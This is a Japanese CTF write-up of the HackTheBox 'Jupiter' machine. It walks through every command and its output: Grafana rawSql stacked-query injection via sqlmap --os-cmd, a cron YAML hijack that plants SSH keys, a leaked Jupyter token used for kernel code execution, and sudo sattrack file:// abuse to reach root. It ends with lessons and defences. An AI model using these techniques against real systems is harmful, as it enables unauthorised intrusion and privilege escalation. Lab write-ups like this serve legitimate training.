HackTheBox: Jupiter — 全実行コマンド・実行結果レポート
Nmap + vhost発見
jupiter.htb / kiosk.jupiter.htb
→
jupiter.htb / kiosk.jupiter.htb
Grafana匿名Viewer
ダッシュボードUID/データソースUID発見
→
ダッシュボードUID/データソースUID発見
PostgreSQL SQLi
/api/ds/query, sqlmap –os-cmd
→
/api/ds/query, sqlmap –os-cmd
Shadow YAML cronハイジャック
/dev/shm 世界書込み可
→
/dev/shm 世界書込み可
juno SSH
user.txt ✓
→
user.txt ✓
Jupyterトークン漏洩
science グループ world-readable ログ
→
science グループ world-readable ログ
Jupyter kernel RCE
websocket API
→
websocket API
sattrack file:// 悪用
sudo NOPASSWD
→
sudo NOPASSWD
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.15 nmap -sV -sC -p 22,80 10.129.229.15
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Home | Jupiter |_http-server-header: nginx/1.18.0 (Ubuntu) Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
ドメイン発見 & /etc/hosts 登録
BASH
curl -sI --max-time 10 http://10.129.229.15
RESULT
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Location: http://jupiter.htb/
BASH
# /etc/hosts に追記(kiosk サブドメインは vhost 探索で後述の通り発見) echo "10.129.229.15 jupiter.htb kiosk.jupiter.htb" | sudo tee -a /etc/hosts whatweb -a 3 http://10.129.229.15
RESULT
http://jupiter.htb/ [200 OK] Bootstrap[4.5.0], HTML5, JQuery[3.3.1],
PoweredBy[AI], Title[Home | Jupiter], nginx[1.18.0]
ℹ️
トップページは「AI技術で衛星画像を解析する会社」のランディングページのみで実質的な攻撃面はない。
kiosk.jupiter.htb という vhost は、企業サイトのフッターや静的リソース内のリンク、
あるいはサブドメインブルートフォースで発見できる(本検証では既知の構成のため直接指定)。
kiosk.jupiter.htb — Grafana インスタンス発見
BASH
curl -sI --max-time 10 http://kiosk.jupiter.htb
RESULT
HTTP/1.1 302 Found
Location: /login
Set-Cookie: grafana_session=...
🚨
重要発見:
kiosk.jupiter.htb は Grafana 9.5.2 インスタンス。
ログイン画面へリダイレクトされるが、多くの Grafana 構成では
viewers_can_edit や匿名 Viewer アクセスが有効化されており、
認証なしで一部 API・ダッシュボードに到達できることがある。
PHASE 2
Grafana匿名アクセス & PostgreSQL SQLi発見
匿名Viewer権限でダッシュボードを検索
BASH
curl -s --max-time 10 "http://kiosk.jupiter.htb/api/search?query=Moons"
RESULT
[{"id":1,"uid":"jMgFGfA4z","title":"Moons","uri":"db/moons","url":"/d/jMgFGfA4z/moons", ...}]
✅
認証情報なしで
/api/search が応答した = 匿名 Viewer 権限
(grafana_viewer) が有効。ダッシュボード UID
jMgFGfA4z を取得。
ダッシュボード定義からデータソースUIDを取得
BASH
curl -s --max-time 10 "http://kiosk.jupiter.htb/api/dashboards/uid/jMgFGfA4z" | python3 -m json.tool | grep -A2 '"type": "postgres"'
RESULT
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"rawSql": "select \n name as \"Name\", \n parent as \"Parent Planet\", \n meaning as \"Name Meaning\" \nfrom \n moons \nwhere \n parent = 'Saturn' \norder by \n name desc;"
🚨
重要発見: “Moons” ダッシュボードの各パネルは PostgreSQL データソース
(uid=
YItSLg-Vz) に対して 生の rawSql を直接クエリしている。
Grafana のフロントエンドが匿名 Viewer 権限で /api/ds/query
にこの rawSql を含む POST を送信する構造のため、パネル定義を書き換えて
任意の SQL をバックエンドの PostgreSQL に注入できる可能性が高い。
/api/ds/query への直接 POST でSQLi検証
PYTHON (生リクエスト組立て)
body = {
"queries": [{
"refId": "A",
"datasource": {"type": "postgres", "uid": "YItSLg-Vz"},
"rawSql": "select name, parent, meaning from moons "
"where parent = 'Saturn' order by name desc;"
";SELECT PG_SLEEP(1)--", # ← スタックドクエリで注入
"format": "table", "datasourceId": 1,
"intervalMs": 60000, "maxDataPoints": 937,
}],
"range": {"from": "now-6h", "to": "now"},
}
# → sqlmap -r (rawリクエストファイル) に渡す
BASH
sqlmap -r jupiter_r1.req --batch --dbms postgresql
RESULT
Parameter: JSON rawSql ((custom) POST)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
[INFO] the back-end DBMS is PostgreSQL
[INFO] testing if current user is DBA
current user is DBA: True
🚨
PostgreSQL 8.1+ スタックドクエリ SQLi が確定。しかも接続ユーザーは
DBA (superuser) 権限を持つ。PostgreSQL では superuser 権限があれば
COPY ... FROM PROGRAM '任意コマンド' でOSコマンド実行が可能なため、
ここから RCE に直結する。
sqlmap の対話プロンプト対策
NOTE
リクエストボディが JSON POST のため、sqlmap は起動直後に "JSON data found in POST body. Do you want to process it? [Y/n/q]" という対話プロンプトを出す。標準入力が実端末(TTY)に接続されていない 自動化環境では --batch を付けても既定値選択が正しく機能せず、 リクエストを一切送信しないまま数秒で終了することがある。 対策: script コマンドで疑似端末(pty)を割り当てて実行する。 script -qec "sqlmap -r jupiter_r1.req --batch --dbms postgresql ..." /dev/null
PHASE 3
SQLi→RCE & Shadow YAML cronハイジャック → user.txt
SSH鍵ペアの生成
BASH
ssh-keygen -t rsa -b 2048 -N "" -f ./jupiter_key
ℹ️
この鍵ペアの公開鍵を、以降 juno / jovian / root の3ユーザー全てに
使い回して配布する(鍵管理を単純化するため)。
COPY … FROM PROGRAM で postgres 権限 RCE
BASH
# sqlmap --os-cmd は内部的に COPY cmd_output FROM PROGRAM '...' を発行し、 # one-shot でOSコマンドを実行できる sqlmap -r jupiter_r1.req --batch --dbms postgresql --os-cmd "<RAW_CMD>" --time-sec 1
PYTHON (RAW_CMD の内容)
# /dev/shm に「自分の公開鍵」と「細工版 Shadow YAML」を配置する
raw_cmd = (
"mkdir -p /dev/shm; "
f"echo {base64(pubkey)} | base64 -d > /dev/shm/authorized_keys; "
"chmod o=r /dev/shm/authorized_keys; "
f"echo {base64(malicious_yaml)} | base64 -d > /dev/shm/network-simulation.yml; "
"chmod o+w /dev/shm/network-simulation.yml"
)
RESULT
[INFO] testing if current user is DBA
[INFO] retrieved: 1
do you want to retrieve the command standard output? [Y/n/a] Y
os-cmd payload 実行完了 (No output = 正常、書き込み系コマンドは標準出力なし)
細工版 network-simulation.yml の中身
NOTE
juno ユーザーが約2分間隔の cron ジョブで、Shadow(ネットワークシミュレータ)
を使い world-writable な /dev/shm/network-simulation.yml を読み込んで実行している
(pspy 等のプロセス監視ツールで発見できる挙動)。この YAML の "client" プロセス
定義を書き換えることで、juno 権限のコマンドを注入できる。
PYTHON (YAML テンプレート)
general:
stop_time: 10s
model_unblocked_syscall_latency: true
network:
graph:
type: 1_gbit_switch
hosts:
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/cp
args: "/dev/shm/authorized_keys /home/juno/.ssh" # ← 注入箇所
start_time: 5s
🚨
cron ジョブハイジャック: 次回 cron 発火時、juno 権限で
cp /dev/shm/authorized_keys /home/juno/.ssh が実行され、
こちらが用意した公開鍵が juno の ~/.ssh/authorized_keys
(正しくは ~/.ssh/ ディレクトリ配下)にコピーされる。
cron発火待ち & SSH確認
BASH
# cron は約2分間隔。余裕を見て140秒待機してからテスト
sleep 140
ssh -o StrictHostKeyChecking=no -o BatchMode=yes \
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
-i jupiter_key juno@10.129.229.15 id
RESULT
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
⚠️
実機トラブルシューティング: ここで
-o BatchMode=yes を
付け忘れると、鍵がまだ反映されていない(cron未発火)タイミングで ssh を叩いた際に
パスワード認証へフォールバックし、ssh_askpass: exec(/usr/bin/ssh-askpass):
No such file or directory を繰り返して無駄にハングする。
非対話環境では必ず BatchMode=yes を付け、鍵認証失敗時は
即座に Permission denied で返らせること。
user.txt 取得
BASH
ssh -i jupiter_key juno@10.129.229.15 "cat ~/user.txt"
RESULT
177f333e29ffa7057485276253f180cb
user.txt — juno@jupiter
177f333e29ffa7057485276253f180cb
PHASE 4
権限昇格の下調べ — Jupyter Notebook トークン漏洩
science グループ経由のファイルアクセス調査
BASH
ssh -i jupiter_key juno@10.129.229.15 \ "find / -type f -perm -o=r 2>/dev/null | grep -i jupyter"
RESULT
/opt/solar-flares/start.sh
/opt/solar-flares/logs/jupyter-2026-08-18-48.log
/opt/solar-flares/logs/jupyter-2023-06-07-05.log
... (過去分多数)
⚠️
実機トラブルシューティング(1):
/opt/solar-flares/logs/
ディレクトリには setgid が効いておらず、ログファイルは
start.sh を実行したプロセスの実効グループでオーナーされる。
本来 juno は science グループ経由でこれらのファイルを読めることを
期待して find ... -group science のように絞り込みたくなるが、
新しいログ(今日実行された最新セッション含む)ほど group=science
ではなく group=jovian になっているため、group で絞ると
現在稼働中のセッションのログを取りこぼす。全ファイルとも
other 読み取り可 (-rw-rw-r--) なので、
group 条件を付けず other 読み取り権限のみで絞り込むこと。
稼働中プロセス確認 & 最新ログの選定
BASH
ssh -i jupiter_key juno@10.129.229.15 \ "ps aux | grep jupyter; cat /opt/solar-flares/start.sh"
RESULT
jovian 1104 ... /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
#!/bin/bash
now=`date +"%Y-%m-%d-%M"`
jupyter notebook --no-browser /opt/solar-flares/flares.ipynb 2>> /opt/solar-flares/logs/jupyter-${now}.log &
ℹ️
起動スクリプトは
YYYY-MM-DD-分 単位でログファイルを新規生成する
(プロセス再起動のたびに新しいファイル名になる)。ファイル名の文字列ソートは
日付形式のため時系列と一致するが、より確実なのは
ls -t(更新時刻順)で最新ログを特定する方法。
BASH
ssh -i jupiter_key juno@10.129.229.15 \ "ls -t /opt/solar-flares/logs/jupyter-*.log | head -1"
トークン抽出時の自己汚染に注意
BASH
ssh -i jupiter_key juno@10.129.229.15 \ "cat /opt/solar-flares/logs/jupyter-2026-08-18-48.log"
RESULT
[I 08:48:28.871 NotebookApp] Jupyter Notebook 6.5.3 is running at: [I 08:48:28.871 NotebookApp] http://localhost:8888/?token=10d04dde0286075de6924b222ec26e8626713e5edc729311 [I 08:48:28.871 NotebookApp] or http://127.0.0.1:8888/?token=10d04dde0286075de6924b222ec26e8626713e5edc729311 ... [W 11:27:59.969 NotebookApp] 403 POST /api/kernels?token=c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9 (127.0.0.1): '_xsrf' argument missing from POST [I 11:31:02.790 NotebookApp] 302 GET /tree?token=ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b (127.0.0.1) 1.490000ms
🚨
実機トラブルシューティング(2) — 最も嵌りやすい罠:
Jupyter サーバーは自分宛のリクエストも同じログファイルに追記する。
こちらが誤ったトークン(過去の失敗試行)で POST/GET を送ると、
対策: 本物のトークンは起動バナー行 (
403 POST /api/kernels?token=<誤ったトークン> や
302 GET /tree?token=<誤ったトークン> という行が同じファイルに
追記される。単純に正規表現 token=([0-9a-f]+) でログ全体を検索すると、
自分自身の過去の失敗リクエストのトークンを再び拾ってしまい、
何度リトライしても 403 Forbidden から抜け出せない自己汚染ループに陥る。
対策: 本物のトークンは起動バナー行 (
NotebookApp] http://localhost:8888/?token=... /
NotebookApp] or http://127.0.0.1:8888/?token=...) にしか現れない。
リクエストログ行(GET /tree?token= や
POST /api/kernels?token=)を正規表現で明確に除外し、
起動バナー行のみからトークンを抽出すること。
PHASE 5
SSHトンネル & Jupyter kernel websocket RCE → jovian
ローカルポートフォワードでJupyterへ到達
BASH
ssh -o BatchMode=yes -i jupiter_key -f -N -L 8888:localhost:8888 juno@10.129.229.15
ℹ️
Jupyter Notebook (6.5.3) は
localhost:8888 のみにバインドされ
外部からは直接到達できないため、juno 経由の SSH ローカルポートフォワードが必須。
_xsrf トークンの取得(classic Notebook の CSRF対策)
PYTHON
import requests
TOKEN = "10d04dde0286075de6924b222ec26e8626713e5edc729311"
session = requests.Session()
session.get("http://127.0.0.1:8888/tree", params={"token": TOKEN})
xsrf = session.cookies.get("_xsrf")
headers = {"X-XSRFToken": xsrf}
⚠️
実機トラブルシューティング(3): classic Notebook 6.x では
トークンをクエリパラメータで渡すだけでは POST 系 API
(
/api/kernels のカーネル作成など) が
403 {"message": "'_xsrf' argument missing from POST"} で拒否される。
事前にトークン付き GET を1回発行して _xsrf Cookie を取得し、
X-XSRFToken ヘッダに載せて POST する必要がある。
カーネル作成 & websocket 経由でコード実行
PYTHON
r = session.post("http://127.0.0.1:8888/api/kernels",
params={"token": TOKEN}, headers=headers)
kernel_id = r.json()["id"]
import websocket, json, uuid
ws_url = f"ws://127.0.0.1:8888/api/kernels/{kernel_id}/channels?token={TOKEN}"
ws = websocket.create_connection(ws_url, timeout=30)
code = (
"import os\n"
"os.system('mkdir -p /home/jovian/.ssh; "
"echo \"<自分の公開鍵>\" >> /home/jovian/.ssh/authorized_keys; "
"chmod 700 /home/jovian/.ssh; chmod 600 /home/jovian/.ssh/authorized_keys')\n"
)
msg_id = str(uuid.uuid4())
ws.send(json.dumps({
"header": {"msg_id": msg_id, "username": "kali", "session": str(uuid.uuid4()),
"msg_type": "execute_request", "version": "5.3"},
"parent_header": {}, "metadata": {},
"content": {"code": code, "silent": False, "store_history": True,
"user_expressions": {}, "allow_stdin": False},
"channel": "shell",
}))
# iopub チャンネルから stream/status(idle) を受信して完了を待つ
ℹ️
curl では WebSocket フレームのマスキング処理ができないため、
websocket-client ライブラリで Jupyter kernel の
JSON-RPC 的なメッセージプロトコル(execute_request →
iopub チャンネルの stream/status)
を直接実装する必要がある。カーネルは jovian権限で
Notebook サーバーが動いているため、実行される Python コードも jovian 権限になる。
jovian への SSH確認
BASH
ssh -o BatchMode=yes -i jupiter_key jovian@10.129.229.15 id
RESULT
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
✅
jovian 権限のシェルを確立。
sudo グループに所属している点にも注目。
PHASE 6
sattrack の file:// tlesources 悪用 → root.txt
sudo権限の確認
BASH
ssh -i jupiter_key jovian@10.129.229.15 "sudo -l"
RESULT
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
🚨
sattrack (Satellite Tracking System) をパスワードなしで
root 権限実行可能。バイナリは常に
/tmp/config.json
を設定ファイルとして読み込み、tlesources に列挙した
URL(http:///https:///file://
いずれも対応)を tleroot 配下にダウンロードする。
悪意ある config.json の設置
PYTHON (config.json)
{
"tleroot": "/root/.ssh/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:///home/jovian/.ssh/authorized_keys"
],
"updatePerdiod": 1000,
"station": {"name": "LORCA", "lat": 37.6725, "lon": -1.5863, "hgt": 335.0},
"show": [], "columns": ["name", "azel", "dis", "geo", "tab", "pos", "vel"]
}
🚨
攻撃のキモ:
tleroot を /root/.ssh/、
tlesources を file:///home/jovian/.ssh/authorized_keys
(= 直前のフェーズで自分の公開鍵を仕込み済みのファイル)に設定すると、
sattrack が URL の basename(= “authorized_keys”)をそのままファイル名として使い、
/root/.ssh/authorized_keys として root 権限でコピーする。
つまり jovian が既に制御している authorized_keys の中身が、
そのまま root の authorized_keys に上書きコピーされる。
BASH
ssh -i jupiter_key jovian@10.129.229.15 \ "echo <base64(config.json)> | base64 -d > /tmp/config.json" ssh -i jupiter_key jovian@10.129.229.15 "sudo /usr/local/bin/sattrack"
RESULT
Satellite Tracking System
Get:0 file:///home/jovian/.ssh/authorized_keys
tlefile is not a valid file
ℹ️
tlefile is not a valid file というエラーは想定通り(TLE衛星データとして
パース失敗しているだけ)。ここで重要なのは Get:0 file:///... の行が出た時点で
ファイルの取得・コピー自体は完了していること。
root.txt 取得
BASH
ssh -o BatchMode=yes -i jupiter_key root@10.129.229.15 "cat /root/root.txt"
RESULT
a8a62e4d9be5904271ca207944612f93
root.txt — root@jupiter
a8a62e4d9be5904271ca207944612f93
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — juno@jupiter
177f333e29ffa7057485276253f180cb
root.txt — root@jupiter
a8a62e4d9be5904271ca207944612f93
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| PostgreSQL Stacked Queries SQLi | Grafana 9.5.2 (/api/ds/query, kiosk.jupiter.htb) | リモートコード実行 (postgres権限) | Critical | 匿名Viewerが到達可能なダッシュボードのrawSqlパラメータへスタックドクエリ注入、DBA権限でCOPY…FROM PROGRAM悪用 |
| World-writable cron設定ハイジャック | /dev/shm/network-simulation.yml (Shadow) | 権限昇格 (postgres → juno) | High | world-writableな設定ファイルを差し替え、cronで定期実行されるコマンドを乗っ取りSSH公開鍵を配布 |
| World-readableトークン漏洩 | /opt/solar-flares/logs/jupyter-*.log | 権限昇格 (juno → jovian) | High | science グループ(実質other読み取り可)経由でJupyter Notebookの認証トークンが平文ログに残存 |
| Jupyter kernel RCE | Jupyter Notebook 6.5.3 (localhost:8888) | リモートコード実行 (jovian権限) | Critical | 漏洩トークンでwebsocket kernel APIに接続し任意Pythonコード実行 (os.system) |
| sudo設定ファイルのfile://悪用 | /usr/local/bin/sattrack (NOPASSWD) | 権限昇格 (jovian → root) | Critical | tlesourcesにfile://URLを指定しtlerootを/root/.ssh/に設定、jovian制御下のauthorized_keysをroot権限でコピー |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost発見 | jupiter.htb / kiosk.jupiter.htb (Grafana) |
| 2 | SQLi発見 | 匿名Viewer + ダッシュボード解析 | ダッシュボードUID・データソースUID・スタックドクエリSQLi確認 |
| 3 | RCE & cronハイジャック | sqlmap –os-cmd + YAML差替え | user.txt (juno) |
| 4 | 権限昇格調査 | world-readableログ探索 | Jupyter Notebookトークン (jovian権限) |
| 5 | Jupyter kernel RCE | SSHトンネル + websocket API | jovian への SSH アクセス |
| 6 | sattrack悪用 | file:// tlesources + sudo NOPASSWD | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Grafanaダッシュボードが匿名Viewerに生SQLを直接発行させる構造 | rawSqlを含むクエリはバックエンドAPIでパラメータ化し、匿名アクセスは閲覧専用の集計済みビューに限定する。データソース接続ユーザーには最小権限(非superuser)を付与する。 |
| /dev/shm 上の設定ファイルが world-writable かつ cron でそのまま信頼実行される | 設定ファイルの書き込み権限を実行ユーザーのみに限定し、/tmpや/dev/shmのような共有領域に置かない。実行前にファイルの所有者・権限を検証する。 |
| アプリケーションログに認証トークンが平文で残り、world-readableになっている | ログ出力からトークン・認証情報をマスクする。ログディレクトリのパーミッションを最小化し、setgidや厳密なumaskで新規ファイルの権限を統制する。 |
| Jupyter Notebookがトークン認証のみで、ネットワーク到達性の制御に依存している | localhost限定バインドに加え、トークンの定期ローテーション・短命化を行う。可能であればJupyterHubの多要素認証・アクセス制御を導入する。 |
| sudo許可バイナリがユーザー制御下のfile://URLを無検証でroot権限のパスにコピーする | sudo経由で実行するバイナリの設定ファイル読み込み元を固定化し、ユーザー書き込み可能なパスからの設定注入を許可しない。tlesourcesのようなURL指定機能はスキーム・パスをホワイトリスト化する。 |

